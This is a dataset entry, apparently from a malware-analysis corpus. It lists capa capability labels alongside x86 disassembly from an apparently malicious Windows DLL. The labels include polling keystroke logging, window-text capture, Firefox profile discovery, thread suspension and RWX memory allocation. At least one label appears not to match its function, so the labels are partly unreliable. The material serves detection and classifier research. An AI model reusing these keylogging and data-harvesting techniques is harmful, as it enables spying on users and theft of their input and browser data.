joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10008f93
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x10b]
push ebx
push eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov byte [ebp - 0x10c], bl
call sub.msvcrt.dll_memset
mov ecx, dword [0x1002e180]
add esp, 0xc
mov dword [ebp - 0xc], ebx
cmp ecx, ebx
je 0x10009131
mov eax, dword [0x1002e18c]
cmp eax, ebx
je 0x10009131
push esi
mov byte [eax + ecx], bl
push ebx
push dword [0x1002e18c]
push dword [0x1002e180]
call fcn.10017340
mov esi, eax
add esp, 0xc
cmp esi, dword [0x1002e184]
jne 0x1000901b
push dword [0x1002e18c]
push ebx
push dword [0x1002e180]
call fcn.10015f70
add esp, 0xc
jmp 0x10009124
mov eax, dword [0x1002e160]
cmp eax, ebx
je 0x10009037
push 0x100
lea ecx, [ebp - 0x10c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
call fcn.10018330
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x10009124
push 0x1002fc70
call fcn.10016b90
push dword [0x10032f8c]
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
call fcn.100183a0
push dword [0x10032ea0]
push dword [ebp - 4]
call fcn.10018420
push dword [ebp - 0xc]
push dword [ebp - 4]
call fcn.10018420
push dword [0x10032f80]
push dword [ebp - 4]
call fcn.10018420
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call fcn.10018420
push dword [0x10032f1c]
push dword [ebp - 4]
call fcn.10018420
add esp, 0x34
call fcn.10008eda
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x100090d7
push eax
push dword [ebp - 4]
call fcn.10018420
pop ecx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 8]
push eax
call fcn.10015cb0
pop ecx
pop ecx
jmp 0x100090fa
push dword [0x1002e180]
push dword [ebp - 4]
call fcn.10018420
push dword [0x1002e18c]
push ebx
push dword [0x1002e180]
call fcn.10015f70
add esp, 0x14
push 0x10021208
push dword [ebp - 4]
call fcn.10018420
lea eax, [ebp - 4]
push eax
call fcn.10018700
lea eax, [ebp - 0xc]
push 0xffffffffffffffff
push eax
call fcn.10015cb0
add esp, 0x14
mov dword [0x1002e184], esi
mov dword [0x1002e188], ebx
mov dword [0x1002e18c], ebx
pop esi
pop ebx
leave
ret
Function at 0x10009210
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
mov esi, dword [ebp + 8]
movzx ebx, word [esi + 0xc]
push 0x8ff
call fcn.10016780
pop ecx
mov dword [ebp - 8], eax
test eax, eax
je 0x100092f8
push 0x451
call fcn.10016780
pop ecx
mov dword [ebp - 0xc], eax
test eax, eax
je 0x100092f8
push edi
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 8]
push eax
call fcn.10016890
lea eax, [ebp - 0xc]
push eax
call fcn.10016890
pop ecx
pop ecx
test edi, edi
je 0x100092f7
call edi
push 0x1002e158
mov dword [0x1002e160], eax
call fcn.10016450
mov eax, dword [esi + 8]
pop ecx
cmp eax, 0xd
jne 0x1000929b
call fcn.10008f93
jmp 0x100092f7
and dword [ebp - 4], 0
push ebx
push eax
call fcn.10009134
pop ecx
pop ecx
test eax, eax
jne 0x100092f7
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 0
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x10c]
push eax
movsx eax, word [esi + 0xe]
and eax, 0xff
push eax
push dword [esi + 8]
call dword [sym.imp.USER32.dll_ToAscii]
mov al, byte [ebp - 4]
mov byte [ebp + 0xb], al
test al, al
je 0x100092f7
test ebx, ebx
je 0x100092f7
lea eax, [ebp + 0xb]
push 1
push eax
call fcn.10008e0a
dec ebx
pop ecx
pop ecx
jne 0x100092e7
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000959a
Capabilities:
Allocate or change rwx memory

Disassembly:
mov eax, dword [0x10032ccc]
push esi
xor esi, esi
jmp 0x100095ab
cmp dword [eax + 4], esi
jne 0x100095f6
mov eax, dword [eax]
cmp eax, esi
jne 0x100095a4
push 0x40
push 0x3000
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
cmp eax, esi
je 0x100095f6
lea ecx, [eax + 0x20]
mov edx, ecx
mov dword [eax + 4], esi
mov dword [eax + 8], esi
sub edx, eax
mov esi, dword [eax + 4]
mov dword [ecx], esi
mov dword [eax + 4], ecx
add edx, 0x20
add ecx, 0x20
cmp edx, 0xfe0
jbe 0x100095d3
mov ecx, dword [0x10032ccc]
mov dword [eax], ecx
mov dword [0x10032ccc], eax
pop esi
ret
Function at 0x10009d74
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 0
push 4
call dword [0x10032d74]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
je 0x10009e3c
push ebx
push 0x1c
pop ebx
lea ecx, [ebp - 0x20]
push ecx
push eax
mov dword [ebp - 0x20], ebx
call sub.KERNEL32.dll_Thread32First
jmp 0x10009e2a
cmp dword [ebp - 0x20], 0x10
jb 0x10009e1b
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x14], eax
jne 0x10009e1b
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [ebp - 0x18], eax
je 0x10009e1b
mov ecx, dword [esi]
test ecx, ecx
jne 0x10009de9
push 0x200
push ecx
mov dword [esi + 4], 0x80
push dword [0x1002e1b8]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi], eax
test eax, eax
je 0x10009e32
jmp 0x10009e0d
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
jb 0x10009e0d
shl eax, 3
push eax
push ecx
push 0
push dword [0x1002e1b8]
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
test eax, eax
je 0x10009e32
shl dword [esi + 4], 1
mov dword [esi], eax
mov eax, dword [esi + 8]
mov ecx, dword [esi]
mov edx, dword [ebp - 0x18]
mov dword [ecx + eax*4], edx
inc dword [esi + 8]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x20], ebx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x10009da6
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
leave
ret

Function at 0x10009e3e
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
push edi
xor edi, edi
mov dword [esi], edi
mov dword [esi + 4], edi
mov dword [esi + 8], edi
call fcn.10009d74
cmp dword [esi], edi
je 0x10009e9b
push ebx
xor ebx, ebx
cmp dword [esi + 8], edi
jbe 0x10009e9a
jmp 0x10009e64
xor edi, edi
mov eax, dword [esi]
push dword [eax + ebx*4]
push edi
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x10009e94
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edi
call fcn.10009cb0
pop ecx
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [esi + 8]
jb 0x10009e62
pop ebx
pop edi
pop esi
pop ebp
ret

Function at 0x10009e9f
Capabilities:
Resume thread

Disassembly:
push edi
xor edi, edi
cmp dword [esi], edi
je 0x10009ee6
cmp dword [esi + 8], edi
jbe 0x10009ed6
push ebx
mov eax, dword [esi]
push dword [eax + edi*4]
push 0
push 0x5a
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov ebx, eax
test ebx, ebx
je 0x10009ecf
push ebx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, dword [esi + 8]
jb 0x10009eac
pop ebx
push dword [esi]
push 0
push dword [0x1002e1b8]
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
ret
Function at 0x1000a5dc
Capabilities:
Check if file exists
Get common file path
Get file attributes
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8b4
push ebx
push esi
push edi
push 8
pop ecx
lea eax, [ebp - 0x29c]
push eax
xor ebx, ebx
push ebx
push ebx
push 0x1a
mov esi, str.MozillaFirefox
lea edi, [ebp - 0x94]
push ebx
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x1000a756
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x29c]
push eax
push eax
call fcn.10019070
add esp, 0xc
test eax, eax
je 0x1000a756
push 6
pop ecx
mov esi, str.profiles.ini
lea edi, [ebp - 0x74]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x6ac]
push eax
movsw word es:[edi], word [esi]
call fcn.10019070
add esp, 0xc
test eax, eax
je 0x1000a756
lea eax, [ebp - 0x6ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1000a756
push 5
pop ecx
mov esi, str.IsRelative
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, str.Path
lea edi, [ebp - 0x10]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov byte [ebp - 1], bl
movzx eax, byte [ebp - 1]
push eax
push str.Profile_u
lea eax, [ebp - 0x20]
push 0xf
push eax
call fcn.10016020
push 0x20
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x20]
push eax
call fcn.10016c80
add esp, 0x1c
lea eax, [ebp - 0x6ac]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov esi, eax
cmp esi, 0xffffffff
je 0x1000a756
lea eax, [ebp - 0x6ac]
push eax
push 0x104
lea eax, [ebp - 0x4a4]
push eax
push ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
test eax, eax
je 0x1000a749
lea eax, [ebp - 0x4a4]
push eax
call fcn.100190c0
pop ecx
lea eax, [ebp - 0x4a4]
cmp esi, 1
jne 0x1000a73c
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x8b4]
push eax
call fcn.10019070
add esp, 0xc
test eax, eax
je 0x1000a749
lea eax, [ebp - 0x8b4]
push dword [ebp + 0xc]
push eax
call dword [ebp + 8]
pop ecx
pop ecx
test eax, eax
je 0x1000a756
inc byte [ebp - 1]
cmp byte [ebp - 1], 0xfa
jb 0x1000a698
pop edi
pop esi
mov dword [0x1002e1d0], 1
pop ebx
leave
ret
Function at 0x1000bbe2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
push dword [0x1002fe7c]
xor esi, esi
mov dword [ebp - 4], esi
call fcn.10016b90
push dword [0x1002fc6c]
mov dword [ebp - 4], eax
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.100199a0
lea eax, [ebp - 4]
push 0xffffffffffffffff
push eax
call fcn.10015cb0
lea eax, [ebp - 0x10]
push eax
call fcn.10019810
add esp, 0x1c
test eax, eax
lea eax, [ebp - 0x38]
push eax
push esi
push esi
jns 0x1000bc30
push esi
jmp 0x1000bc34
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x100300f0], eax
cmp eax, esi
jne 0x1000bc47
xor eax, eax
jmp 0x1000bc9d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1000bc7d
push dword [0x100300f0]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x1000bc72
push dword [0x100300f0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000bc43
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1002e214
push esi
push esi
push 0x1000bb76
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1002e208], eax
cmp eax, esi
je 0x1000bc64
xor eax, eax
inc eax
pop esi
leave
ret

Function at 0x1000bd41
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 1
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [0x100300f4], esi
jne 0x1000be58
mov edi, dword [ebp + 0x10]
cmp dword [edi + 0x2fb], 0xe291a0f3
je 0x1000bd6f
xor eax, eax
jmp 0x1000beaf
call fcn.10015c60
push 1
call fcn.100164b0
pop ecx
test eax, eax
js 0x1000bd68
push 5
push edi
push esi
call fcn.10019ea0
add esp, 0xc
test eax, eax
je 0x1000bd68
call fcn.1000bcfa
test eax, eax
jne 0x1000bd68
call fcn.1000bbe2
test eax, eax
je 0x1000bd68
call fcn.10017cb0
call fcn.100182b0
push 0x15f
call fcn.10016780
xor esi, esi
pop ecx
mov dword [ebp + 0xc], eax
cmp eax, esi
je 0x1000bddf
push 0x1002e200
push esi
push 0x3b
push eax
call fcn.10016e00
mov dword [0x1002e20c], eax
lea eax, [ebp + 0xc]
push eax
call fcn.10016890
add esp, 0x14
call fcn.10002a16
push dword [0x1002fe7c]
call fcn.1000bca0
pop ecx
test eax, eax
je 0x1000bdfb
call fcn.10002ba1
jmp 0x1000be4f
call fcn.10008dce
call fcn.100082e7
call fcn.1000f03c
call fcn.1000c470
call fcn.100026c3
call fcn.1000f124
call fcn.10007b0d
call fcn.1000c1d2
call fcn.10005e33
call fcn.10002ba1
call fcn.10002b83
call fcn.10002b92
call fcn.10002e44
call fcn.10002dd0
call fcn.1000beb5
test eax, eax
je 0x1000be4f
call fcn.10002bb0
push esi
call fcn.10002a61
pop ecx
jmp 0x1000beac
xor esi, esi
cmp dword [ebp + 0xc], esi
jne 0x1000beac
call fcn.10002a69
call fcn.1000cd71
call fcn.10008df0
push 1
call fcn.10018220
call fcn.100026eb
call fcn.10017960
call fcn.10007b41
mov dword [esp], 0x1002e200
push 0x1002e20c
call fcn.10016fa0
pop ecx
pop ecx
cmp dword [0x1002cb54], esi
je 0x1000beac
push esi
push dword [0x1002e208]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
inc eax
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x1000c0c9
Capabilities:
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
cmp dword [0x10030130], 0
jne 0x1000c0d9
xor eax, eax
pop ebp
ret
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp eax, dword [ebp + 0xc]
je 0x1000c0d5
cmp dword [ebp + 0x10], 0
jne 0x1000c0f3
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000c019
cmp dword [ebp + 0x10], 0
pop ecx
pop ecx
mov esi, eax
jne 0x1000c112
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, esi
pop esi
pop ebp
ret

Function at 0x1000c117
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push edi
xor edi, edi
mov dword [ebp - 8], edi
cmp dword [0x10030130], edi
jne 0x1000c12f
xor eax, eax
jmp 0x1000c14a
push ebx
mov ebx, dword [0x1002fc6c]
push edi
push 4
call dword [0x10032d74]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x1000c14d
xor eax, eax
pop ebx
pop edi
leave
ret
push esi
lea ecx, [ebp - 0x24]
push ecx
push eax
mov dword [ebp - 0x24], 0x1c
call sub.KERNEL32.dll_Thread32First
test eax, eax
jne 0x1000c173
xor esi, esi
push dword [ebp - 4]
call dword [0x10032d10]
mov eax, esi
pop esi
jmp 0x1000c149
cmp dword [ebp - 0x18], ebx
jne 0x1000c1bd
push dword [ebp - 0x1c]
push edi
push 0x4a
call dword [0x10032ce0]
mov esi, eax
cmp esi, edi
je 0x1000c1bd
push edi
push dword [ebp - 0x1c]
push esi
call fcn.1000c0c9
add esp, 0xc
test eax, eax
je 0x1000c1b6
push esi
cmp dword [ebp + 8], edi
je 0x1000c1a9
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x1000c1af
call dword [sym.imp.KERNEL32.dll_SuspendThread]
mov dword [ebp - 8], 1
push esi
call dword [0x10032d10]
lea eax, [ebp - 0x24]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x1000c173
mov esi, dword [ebp - 8]
jmp 0x1000c165

Function at 0x1000c3f9
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
push 0xa
push dword [0x10032f30]
push dword [0x100300f4]
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x1000c416
pop esi
ret
push edi
push esi
push dword [0x100300f4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push esi
push dword [0x100300f4]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000c445
push 4
push 0
push edi
push eax
call fcn.1001a890
add esp, 0x10
pop edi
pop esi
ret
Function at 0x1000c48c
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push edi
xor ebx, ebx
xor edi, edi
inc ebx
push 0x2a34
mov dword [0x1003013c], ebx
mov dword [0x10030144], edi
mov dword [ebp - 0xc], edi
call fcn.10016780
pop ecx
mov dword [ebp - 0xc], eax
cmp eax, edi
je 0x1000c549
push 0x1f
lea ecx, [ebp - 0x30]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1000c53f
push 0x949
mov dword [ebp - 8], edi
mov dword [ebp - 0x10], edi
call fcn.10016660
push edi
push eax
push 0x1002139c
push 0x1002fa60
mov dword [ebp - 0x10], eax
call fcn.10016d60
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10]
push eax
call fcn.10016890
push dword [ebp - 8]
call fcn.10019130
add esp, 0x1c
test eax, eax
jne 0x1000c532
lea eax, [ebp - 0xc]
push eax
mov dword [0x10030140], ebx
call fcn.10016890
lea eax, [ebp - 8]
push 0xfffffffffffffffe
push eax
call fcn.10015cb0
add esp, 0xc
xor eax, eax
jmp 0x1000c68e
lea eax, [ebp - 8]
push 0xfffffffffffffffe
push eax
call fcn.10015cb0
pop ecx
pop ecx
lea eax, [ebp - 0xc]
push eax
call fcn.10016890
pop ecx
push esi
call fcn.10017ce0
mov esi, 0x1002e2bc
test eax, eax
jne 0x1000c581
push ebx
push esi
push dword [0x100300e4]
push dword [0x100300e0]
call fcn.100180a0
push edi
push esi
push dword [0x100300ec]
push dword [0x100300e8]
call fcn.100180a0
add esp, 0x20
push 0x14
call fcn.10018030
pop ecx
cmp eax, edi
je 0x1000c592
cmp byte [eax], 0x31
je 0x1000c5c9
push 0x3a98
push edi
call fcn.100173c0
pop ecx
pop ecx
mov dword [0x10030138], eax
cmp eax, edi
je 0x1000c5c9
mov eax, dword [0x1002cbf8]
imul eax, eax, 0xfc40
push eax
call fcn.10015c80
pop ecx
mov dword [0x10030134], eax
cmp eax, edi
jne 0x1000c5d0
mov dword [0x1002cbf8], edi
xor eax, eax
jmp 0x1000c68d
call fcn.1000c3f9
mov dword [ebp - 4], eax
cmp eax, edi
je 0x1000c5ef
push eax
call fcn.1000d555
lea eax, [ebp - 4]
push edi
push eax
call fcn.1001ab90
add esp, 0xc
push ebx
push esi
push dword [0x100300cc]
push dword [0x100300c8]
call fcn.1001a890
add esp, 0x10
mov dword [ebp - 4], eax
cmp eax, edi
je 0x1000c61f
push eax
call fcn.1000d555
lea eax, [ebp - 4]
push edi
push eax
call fcn.1001ab90
add esp, 0xc
push ebx
push esi
push dword [0x100300d4]
push dword [0x100300d0]
call fcn.1001a890
add esp, 0x10
mov dword [ebp - 4], eax
cmp eax, edi
je 0x1000c64f
push eax
call fcn.1000d555
lea eax, [ebp - 4]
push edi
push eax
call fcn.1001ab90
add esp, 0xc
push ebx
push esi
push dword [0x100300dc]
push dword [0x100300d8]
call fcn.1001a890
add esp, 0x10
mov dword [ebp - 4], eax
cmp eax, edi
je 0x1000c67f
push eax
call fcn.1000d555
lea eax, [ebp - 4]
push edi
push eax
call fcn.1001ab90
add esp, 0xc
push dword [0x10030138]
call fcn.10017480
pop ecx
mov eax, ebx
pop esi
pop edi
pop ebx
leave
ret
Function at 0x10014ee0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x24
mov edx, dword [esp + 0x38]
mov ecx, dword [esp + 0x3c]
mov eax, dword [edx + 0x78]
mov ebx, dword [edx + 0x8c]
cmp eax, ebx
mov eax, dword [edx + 0x34]
mov ebx, dword [edx + 0x7c]
jl 0x10014f05
shr ebx, 2
dec ebx
shl ebx, 0x10
or ebx, eax
mov dword [esp], ebx
mov eax, dword [edx + 0x90]
mov ebx, dword [edx + 0x74]
cmp ebx, eax
jl 0x10014f1d
mov ebx, eax
mov dword [esp + 0x18], ebx
mov esi, dword [edx + 0x38]
mov dword [esp + 4], esi
mov ebp, dword [edx + 0x6c]
lea edi, [ebp + esi]
mov dword [esp + 0x20], edi
mov eax, edi
neg eax
and eax, 3
mov dword [esp + 0x14], eax
mov eax, dword [edx + 0x2c]
sub eax, 0x106
sub ebp, eax
jg 0x10014f4c
xor ebp, ebp
mov eax, dword [edx + 0x78]
mov dword [esp + 0x1c], eax
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [edi]
mov dword [esp + 0x10], ebx
movzx ebx, word [eax + edi - 1]
mov dword [esp + 0xc], ebx
mov edi, dword [edx + 0x40]
mov edx, dword [esp]
jmp 0x10014f8e
and ecx, edx
movzx ecx, word [edi + ecx*2]
cmp ecx, ebp
jbe 0x10015062
sub edx, 0x10000
js 0x10015062
movzx eax, word [ecx + esi - 1]
cmp eax, ebx
jne 0x10014f74
mov eax, dword [esp + 4]
movzx eax, word [ecx + eax]
cmp eax, dword [esp + 0x10]
jne 0x10014f74
mov dword [esp], edx
mov esi, dword [esp + 4]
mov edi, dword [esp + 0x20]
add esi, ecx
mov eax, dword [esp + 0x14]
mov edx, 0xfffffef8
lea edi, [eax + edi + 0x108]
lea esi, [eax + esi + 0x108]
mov eax, dword [edx + esi]
xor eax, dword [edx + edi]
jne 0x10014fe5
mov eax, dword [edx + esi + 4]
xor eax, dword [edx + edi + 4]
jne 0x10014fe2
add edx, 8
jne 0x10014fc9
jmp 0x10015053
add edx, 4
test eax, 0xffff
jne 0x10014ff2
add edx, 2
shr eax, 0x10
sub al, 1
adc edx, 0
lea eax, [edx + edi]
mov edi, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x102
jge 0x10015053
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
cmp eax, ebx
jg 0x10015026
mov esi, dword [esp + 8]
mov edi, dword [edx + 0x40]
mov ebx, dword [esp + 0xc]
mov edx, dword [esp]
jmp 0x10014f74
mov ebx, dword [esp + 0x18]
mov dword [esp + 0x1c], eax
mov dword [edx + 0x70], ecx
cmp eax, ebx
jge 0x10015062
mov esi, dword [esp + 4]
add esi, eax
mov dword [esp + 8], esi
movzx ebx, word [eax + edi - 1]
mov edi, dword [edx + 0x40]
mov dword [esp + 0xc], ebx
mov edx, dword [esp]
jmp 0x10014f74
mov edx, dword [esp + 0x38]
mov dword [esp + 0x1c], 0x102
mov dword [edx + 0x70], ecx
mov edx, dword [esp + 0x38]
mov ebx, dword [esp + 0x1c]
mov eax, dword [edx + 0x74]
cmp ebx, eax
jg 0x10015073
mov eax, ebx
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10017050
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov edx, dword [ebp + 0xc]
mov dword [edx + 0x9c0], 1
jmp 0x10017080
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x9c0]
add ecx, 1
mov edx, dword [ebp + 0xc]
mov dword [edx + 0x9c0], ecx
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x9c0], 0x270
jge 0x100170f3
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0x9c0]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x9c0]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + ecx*4 - 4]
shr ecx, 0x1e
mov eax, dword [ebp + 0xc]
xor ecx, dword [eax + edx*4 - 4]
imul ecx, ecx, 0x6c078965
mov edx, dword [ebp + 0xc]
add ecx, dword [edx + 0x9c0]
mov eax, dword [ebp + 0xc]
mov edx, dword [eax + 0x9c0]
mov eax, dword [ebp + 0xc]
mov dword [eax + edx*4], ecx
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx + 0x9c0]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 0x9c0]
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 0xc]
mov edx, dword [esi + edx*4]
mov dword [eax + ecx*4], edx
jmp 0x1001706b
pop esi
pop ebp
ret
Function at 0x10017100
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
cmp dword [eax + 0x9c0], 0x270
jl 0x10017232
mov dword [ebp - 8], 0
jmp 0x1001712b
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0xe3
jge 0x10017182
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + edx*4]
and ecx, 0x80000000
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
mov edx, dword [eax + edx*4 + 4]
and edx, 0x7fffffff
or ecx, edx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
shr eax, 1
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
xor eax, dword [edx + ecx*4 + 0x634]
mov ecx, dword [ebp - 4]
and ecx, 1
xor eax, dword [ecx*4 + 0x1002ccd4]
mov edx, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov dword [ecx + edx*4], eax
jmp 0x10017122
jmp 0x1001718d
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0x26f
jge 0x100171e3
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4]
and edx, 0x80000000
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov eax, dword [ecx + eax*4 + 4]
and eax, 0x7fffffff
or edx, eax
mov dword [ebp - 4], edx
mov ecx, dword [ebp - 4]
shr ecx, 1
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
xor ecx, dword [eax + edx*4 - 0x38c]
mov edx, dword [ebp - 4]
and edx, 1
xor ecx, dword [edx*4 + 0x1002ccd4]
mov eax, dword [ebp - 8]
mov edx, dword [ebp + 8]
mov dword [edx + eax*4], ecx
jmp 0x10017184
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x9bc]
and ecx, 0x80000000
mov edx, dword [ebp + 8]
mov eax, dword [edx]
and eax, 0x7fffffff
or ecx, eax
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
shr ecx, 1
mov edx, dword [ebp + 8]
xor ecx, dword [edx + 0x630]
mov eax, dword [ebp - 4]
and eax, 1
xor ecx, dword [eax*4 + 0x1002ccd4]
mov edx, dword [ebp + 8]
mov dword [edx + 0x9bc], ecx
mov eax, dword [ebp + 8]
mov dword [eax + 0x9c0], 0
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 0x9c0]
mov eax, dword [ebp + 8]
mov ecx, dword [eax + edx*4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0x9c0]
add eax, 1
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x9c0], eax
mov edx, dword [ebp - 4]
shr edx, 0xb
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
shl eax, 7
and eax, 0x9d2c5680
xor eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
shr edx, 0x12
xor edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret